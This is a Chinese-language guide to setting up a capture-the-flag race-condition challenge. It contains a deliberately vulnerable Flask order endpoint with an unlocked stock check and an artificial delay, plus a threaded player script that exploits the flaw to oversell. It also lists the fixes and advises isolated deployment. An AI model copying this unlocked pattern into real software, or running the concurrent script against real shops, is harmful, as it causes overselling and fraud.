Internal downstream skill for …

# CTF竞态条件题目搭建指南

一、漏洞原理

竞态条件（Race Condition）：库存“查询→判断→扣减”三步非原子操作，高并发下多个线程同时读到剩余库存=1，全部通过校验，导致超卖。利用思路：选手用并发脚本（如多线程/HTTP sendfile）同时发起请求即可超额下单。

二、漏洞代码（app.py）

```python

from flask import Flask, request, jsonify

import time

app = Flask(__name__)

stock = {"count": 1} # 库存仅1件

@app.route("/order", methods=["POST"])

def order():

# 非原子操作：读库存

if stock["count"] > 0:

time.sleep(0.05) # 放大竞态窗口，降低利用难度

stock["count"] -= 1 # 写库存（未加锁）

return jsonify({"msg": "下单成功", "left": stock["count"]})

return jsonify({"msg": "库存不足"}), 400

if __name__ == "__main__":

app.run(host="0.0.0.0", port=8002, threaded=True)

```

关键点：

• threaded=True 开启多线程处理
• time.sleep() 制造时间窗口，模拟真实业务中的IO延迟
• 无锁读写共享变量，构成漏洞点

三、启动方式

```bash

pip install flask

python app.py # 监听 0.0.0.0:8002

```

生产环境建议用 gunicorn -w 1 --threads 16 -b 0.0.0.0:8002 app:app 保证单进程多线程。

四、选手验证脚本（Python示例）

```python

import requests, threading

url = "http://靶机IP:8002/order"

results = []

def attack():

r = requests.post(url)

results.append(r.json()["msg"])

threads = [threading.Thread(target=attack) for _ in range(10)]

for t in threads: t.start()

for t in threads: t.join()

print(results.count("下单成功")) # 期望：大于1即利用成功

```

五、出题优化建议

• 加入简单用户标识或token，防止无限重放需重置服务
• 提供 /reset 管理接口（仅内网）便于重置库存
• Flag可设计为：成功下单数>1时返回，或独立flag接口校验超卖状态后下发
• 修复方案（用于赛后讲解）：threading.Lock() 加锁，或改用Redis DECR 原子操作、数据库乐观锁

六、注意事项

• 靶场隔离部署，避免真实业务网络
• 可调节sleep时长控制题目难度（0~0.2秒区间内调整）